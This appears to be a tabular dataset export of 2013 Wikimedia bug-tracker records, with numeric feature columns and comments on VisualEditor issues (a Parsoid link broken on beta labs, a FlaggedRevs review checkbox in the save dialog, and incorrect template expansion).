https://bugzilla.wikimedia.org/show_bug.cgi?id=49963",High,80.0,1371486720,1372390935.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-3dm4nj4f3hmvkgyfm7k2,task_description,resolved,True,c1,2,False,False,True,-2,,1.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,5.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,11.0,5.0,0.0,3.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,3.3466666666666667,0.6266666666666667,"on beta labs only, not seen in mediawiki.org: 

On any article e.g. URL 

Click Edit to invoke VE

Page content is a different article.  In the case of URL I see the content for an article on ""TAT-1""

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
245167,VisualEditor link to Parsoid broken in beta labs deployment?,This was fixed yesterday by Roan.,,,1372390935,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3dm4nj4f3hmvkgyfm7k2,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,This was fixed yesterday by Roan.
245164,VisualEditor link to Parsoid broken in beta labs deployment?,Related URL: https://gerrit.wikimedia.org/r/70582 (Gerrit Change Iacc9e88ec83e9037abe9ace53deccafcf68a6bbb),,,1372215640,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3dm4nj4f3hmvkgyfm7k2,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Iacc9e88ec83e9037abe9ace53deccafcf68a6bbb)
245161,VisualEditor link to Parsoid broken in beta labs deployment?,"This is my fault, I broke this in https://gerrit.wikimedia.org/r/#/c/68133/ . We should revert that change and figure out a way to keep deployment-parsoid2 up-to-date.",,,1372215604,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3dm4nj4f3hmvkgyfm7k2,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,16.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,16.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.3125,0.875,"This is my fault, I broke this in URL . We should revert that change and figure out a way to keep deployment-parsoid2 up-to-date."
245158,VisualEditor link to Parsoid broken in beta labs deployment?,"Created attachment 12594
modal upon review or save

**Attached**: {F11548}",,,1371760280,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-3dm4nj4f3hmvkgyfm7k2,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.526315789473684,0.8421052631578947,"Created attachment 12594
modal upon review or save

**Attached**: {F11548}"
245155,VisualEditor link to Parsoid broken in beta labs deployment?,"This still happens after upgrading VE to the latest version, with error saying ""invalid token"", see screen shot",,,1371760230,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-3dm4nj4f3hmvkgyfm7k2,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,4.2727272727272725,0.9090909090909091,"This still happens after upgrading VE to the latest version, with error saying ""invalid token"", see screen shot"
51699,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog","Alongside the ""minor"" and ""watch"" checkboxes in the save dialog, for pages with FlaggedRevs switched on and outstanding unaccepted revisions, add a checkbox to ""accept pending revisions"".

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50852",High,80.0,1371485400,1374649658.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-tyh6rgmh65nrcg5ssati,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.984375,0.609375,"Alongside the ""minor"" and ""watch"" checkboxes in the save dialog, for pages with FlaggedRevs switched on and outstanding unaccepted revisions, add a checkbox to ""accept pending revisions"".

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
245024,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog",Merged and will get deployed in a few hours' time.,,,1374649658,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tyh6rgmh65nrcg5ssati,task_subcomment,,True,c1,3,True,,,3,,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.4166666666666665,1.0,Merged and will get deployed in a few hours' time.
245021,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog","Change 75555 merged by jenkins-bot:
Render check boxes from EditPage

https://gerrit.wikimedia.org/r/75555",,,1374649652,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-tyh6rgmh65nrcg5ssati,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"Change 75555 merged by jenkins-bot:
Render check boxes from EditPage

GERRIT_URL"
245017,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog","Change 75555 had a related patch set uploaded by Catrope:
Render check boxes from EditPage

https://gerrit.wikimedia.org/r/75555",,,1374648415,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-tyh6rgmh65nrcg5ssati,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.684210526315789,1.0,"Change 75555 had a related patch set uploaded by Catrope:
Render check boxes from EditPage

GERRIT_URL"
245013,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog",*** Bug 51833 has been marked as a duplicate of this bug. ***,,,1374645680,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tyh6rgmh65nrcg5ssati,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51833 has been marked as a duplicate of this bug. ***
245007,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog","(In reply to comment #6)
> I note this has been posted as an enhancement; however, as flagged revisions
> are applied to *all* pages in article space on certain Wikipedias (de and ru
> in particular) I'd urge that this be resolved prior to introducing VisualEditor
> to those projects. For them, the absence of this would be more than the minor
> inconvenience it is on English Wikipedia, where PC is applied to a very small
> number of pages and could be switched to semi-protection if really needed.

Absolutely.",,,1374081153,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tyh6rgmh65nrcg5ssati,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5652173913043478,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Absolutely."
245001,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog","(In reply to comment #0)
> Alongside the ""minor"" and ""watch"" checkboxes in the save dialog, for pages
> with
> FlaggedRevs switched on and outstanding unaccepted revisions, add a checkbox
> to
> ""accept pending revisions"".

I note this has been posted as an enhancement; however, as flagged revisions are applied to *all* pages in article space on certain Wikipedias (de and ru in particular) I'd urge that this be resolved prior to introducing VisualEditor to those projects.  For them, the absence of this would be more than the minor inconvenience it is on English Wikipedia, where PC is applied to a very small number of pages and could be switched to semi-protection if really needed.",,,1374080923,,PHID-USER-yif6nz5uhka5cnltixpc,True,,,PHID-TASK-tyh6rgmh65nrcg5ssati,task_subcomment,,True,c1,3,False,,,2,,0.5,0.0,1.0,3.5,0.0,5.0,2.0,0.0,0.0,1.0,3.5,0.5,0.0,0.0,0.0,1.0,1.0,4.0,14.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,1.5,0.0,3.5,0.5,1.0,1.0,0.0,0.0,0.0,0.5,1.5,0.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,9.0,2.5,1.0,1.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.0,5.5,9.0,2.5,1.5,7.0,0.0,0.0,0.0,0.5,3.5,0.0,0.5,0.0,3.0,14.0,6.5,0.0,0.0,0.0,3.0,0.0,1.0,1.5,1.0,1.0,1.0,0.0,0.0,3.8795426065162912,0.7702067669172932,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I note this has been posted as an enhancement; however, as flagged revisions are applied to *all* pages in article space on certain Wikipedias (de and ru in particular) I'd urge that this be resolved prior to introducing VisualEditor to those projects.  For them, the absence of this would be more than the minor inconvenience it is on English Wikipedia, where PC is applied to a very small number of pages and could be switched to semi-protection if really needed."
244995,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog","(In reply to comment #4)
> (In reply to comment #2)
> > Just as an addition to this: I'm not sure if just the checkbox is what is
> > needed. The current work flow has a whole separate page because we need to
> > show the diff involved for the review. I imagine that can be done without
> > going to a new page but either way they should be able to review the diff
> > (and preferably leave a comment like you can in the review page now) before
> > checking any kind of approve box since they become somewhat responsible for
> > those edits.
> 
> Yes, indeed; I was imagining:
> 
> * on load, an alert in the edit notices saying ""You will need to accept the
> outstanding changes before saving"" (or whatever the current message is) -
> possibly with a link to the below?
> * on entering the save dialog, the save button will be disabled with another
> copy of the ""You will need to accept the outstanding changes before saving""
> text (in the same place as the edit conflict / CAPTCHA / DOM corruption
> warnings)
> * in the line of buttons (""Save page"", ""Review your changes"") there should
> be a
> third button, ""Review outstanding changes"", which on click pops up the diff
> of
> outstanding changes, with a text box for the optional review comment and an
> ""accept these changes"" button that takes you back to the save dialog, now
> with
> the save button enabled.
> 
> Feels a little clunky, though - perhaps we could make the process in-line
> with
> the edit summary message?

Since this is going to need to be fully in javascript for VisualEditor, and the interface for this in FlaggedRevisions is already mostly in javascript (a small bit is done server-side through EditPage hooks), I recommend we not duplicate all of this logic and API handling for:
* ""advertise you are reviewing this""
* API handling ""leave comments""
 ""get the diff against the latest stable version""
* ""mark as reviewed"" 
* etc.

And instead depend on the logic being in FlaggedRevisions in a re-usable way that we can just call from within VisualEditor.

Ideally they would also make their styling more pretty so that we can actually re-use it. Alternatively they'll have to make the logic re-usable separate from the UI as the current UI is not going to fit in (not just visually foreign to VisualEditor or usable interfaces in general, but also technically due to the DOM structure and layout properties).",,,1374008109,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-tyh6rgmh65nrcg5ssati,task_subcomment,,True,c1,3,True,,,2,,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.0,4.0,0.6666666666666666,0.0,0.0,0.0,4.333333333333333,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,6.666666666666667,12.0,0.0,1.6666666666666667,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,2.6666666666666665,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,1.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,9.0,0.6666666666666666,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,3.6666666666666665,2.3333333333333335,16.0,1.0,2.0,5.333333333333333,0.0,0.0,0.0,0.3333333333333333,6.0,0.0,0.3333333333333333,0.0,3.3333333333333335,12.0,13.0,0.0,2.6666666666666665,0.0,3.3333333333333335,0.0,0.3333333333333333,0.6666666666666666,0.0,1.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,3.7248062015503876,0.5658914728682171,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Since this is going to need to be fully in javascript for VisualEditor, and the interface for this in FlaggedRevisions is already mostly in javascript (a small bit is done server-side through EditPage hooks), I recommend we not duplicate all of this logic and API handling for:
* ""advertise you are reviewing this""
* API handling ""leave comments""
 ""get the diff against the latest stable version""
* ""mark as reviewed"" 
* etc.

And instead depend on the logic being in FlaggedRevisions in a re-usable way that we can just call from within VisualEditor.

Ideally they would also make their styling more pretty so that we can actually re-use it. Alternatively they'll have to make the logic re-usable separate from the UI as the current UI is not going to fit in (not just visually foreign to VisualEditor or usable interfaces in general, but also technically due to the DOM structure and layout properties)."
244987,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog","(In reply to comment #2)
> Just as an addition to this: I'm not sure if just the checkbox is what is
> needed. The current work flow has a whole separate page because we need to
> show the diff involved for the review. I imagine that can be done without
> going to a new page but either way they should be able to review the diff
> (and preferably leave a comment like you can in the review page now) before
> checking any kind of approve box since they become somewhat responsible for
> those edits.

Yes, indeed; I was imagining:

* on load, an alert in the edit notices saying ""You will need to accept the outstanding changes before saving"" (or whatever the current message is) - possibly with a link to the below?
* on entering the save dialog, the save button will be disabled with another copy of the ""You will need to accept the outstanding changes before saving"" text (in the same place as the edit conflict / CAPTCHA / DOM corruption warnings)
* in the line of buttons (""Save page"", ""Review your changes"") there should be a third button, ""Review outstanding changes"", which on click pops up the diff of outstanding changes, with a text box for the optional review comment and an ""accept these changes"" button that takes you back to the save dialog, now with the save button enabled.

Feels a little clunky, though - perhaps we could make the process in-line with the edit summary message?",,,1373149022,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tyh6rgmh65nrcg5ssati,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.3333333333333333,0.0,4.0,0.3333333333333333,0.0,0.3333333333333333,0.0,2.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,2.3333333333333335,10.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,1.0,0.3333333333333333,1.6666666666666667,2.3333333333333335,0.0,1.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,16.333333333333332,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,8.666666666666666,1.3333333333333333,6.333333333333333,0.0,0.6666666666666666,10.333333333333334,0.0,0.0,0.0,0.3333333333333333,4.666666666666667,0.0,0.3333333333333333,0.0,2.3333333333333335,10.0,2.6666666666666665,0.6666666666666666,4.333333333333333,0.0,2.3333333333333335,0.0,1.3333333333333333,2.3333333333333335,0.0,1.6666666666666667,0.0,0.0,0.0,3.6803652968036533,0.6940639269406393,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes, indeed; I was imagining:

* on load, an alert in the edit notices saying ""You will need to accept the outstanding changes before saving"" (or whatever the current message is) - possibly with a link to the below?
* on entering the save dialog, the save button will be disabled with another copy of the ""You will need to accept the outstanding changes before saving"" text (in the same place as the edit conflict / CAPTCHA / DOM corruption warnings)
* in the line of buttons (""Save page"", ""Review your changes"") there should be a third button, ""Review outstanding changes"", which on click pops up the diff of outstanding changes, with a text box for the optional review comment and an ""accept these changes"" button that takes you back to the save dialog, now with the save button enabled.

Feels a little clunky, though - perhaps we could make the process in-line with the edit summary message?"
244977,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog","(In reply to comment #0)
> Alongside the ""minor"" and ""watch"" checkboxes in the save dialog, for pages
> with
> FlaggedRevs switched on and outstanding unaccepted revisions, add a checkbox
> to
> ""accept pending revisions"".

I don't find that an acceptable solution, because there is a requirement that reviewers actually review the edit they are accepting; they cannot do that if they're just ticking a box.  

See https://commons.wikimedia.org/wiki/File:Cropped_edit_source_admin_edit_with_existing_PC.png for what the screen looks like using Edit Source.  Note that the diff includes ALL unreviewed changes.",,,1373148387,,PHID-USER-yif6nz5uhka5cnltixpc,True,,,PHID-TASK-tyh6rgmh65nrcg5ssati,task_subcomment,,True,c1,3,False,,,0,,1.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,1.0,1.0,3.0,0.0,0.0,1.0,1.0,0.0,5.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,0.0,1.0,0.0,3.0,13.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,16.0,6.0,0.0,10.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,0.0,5.0,11.0,6.0,0.0,0.0,0.0,5.0,0.0,1.0,4.0,0.0,4.0,0.0,0.0,0.0,3.7974683544303796,0.759493670886076,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I don't find that an acceptable solution, because there is a requirement that reviewers actually review the edit they are accepting; they cannot do that if they're just ticking a box.  

See URL for what the screen looks like using Edit Source.  Note that the diff includes ALL unreviewed changes."
244968,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog",Just as an addition to this: I'm not sure if just the checkbox is what is needed. The current work flow has a whole separate page because we need to show the diff involved for the review. I imagine that can be done without going to a new page but either way they should be able to review the diff (and preferably leave a comment like you can in the review page now) before checking any kind of approve box since they become somewhat responsible for those edits.,,,1373147476,,PHID-USER-f6l3bchko2ogbi4poj24,True,,,PHID-TASK-tyh6rgmh65nrcg5ssati,task_subcomment,,True,c1,3,False,,,0,,1.0,0.0,0.0,2.0,1.0,7.0,1.0,1.0,0.0,1.0,2.0,1.0,0.0,1.0,0.0,3.0,0.0,6.0,16.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,16.0,2.0,1.0,0.0,2.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,11.0,4.0,4.0,3.0,2.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,6.0,16.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,4.0,0.0,2.0,0.0,0.0,0.0,3.9368421052631577,0.7684210526315789,Just as an addition to this: I'm not sure if just the checkbox is what is needed. The current work flow has a whole separate page because we need to show the diff involved for the review. I imagine that can be done without going to a new page but either way they should be able to review the diff (and preferably leave a comment like you can in the review page now) before checking any kind of approve box since they become somewhat responsible for those edits.
244959,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog",*** Bug 50852 has been marked as a duplicate of this bug. ***,,,1373145699,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tyh6rgmh65nrcg5ssati,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50852 has been marked as a duplicate of this bug. ***
51690,VisualEditor: Templates (incorrectly) expanded,"https://en.wikipedia.org/wiki/Template:Contradictory, on https://en.wikipedia.org/wiki/Necessity - in the VisualEditor it displays as [<span title=""This text contradicts text in the article ""Necessity in English law"" (3 May 2011)"">contradictory]. Reproduced in Chrome 27/Safari 6.0.5 on a Mac, Firefox 21.0 on Windows 7.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1371469920,1371596252.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-nbmggedatdejjopgumhd,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,13.0,13.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,0.7142857142857143,"URL on URL - in the VisualEditor it displays as [<span title=""This text contradicts text in the article ""Necessity in English law"" (3 May 2011)"">contradictory]. Reproduced in Chrome 27/Safari 6.0.5 on a Mac, Firefox 21.0 on Windows 7.

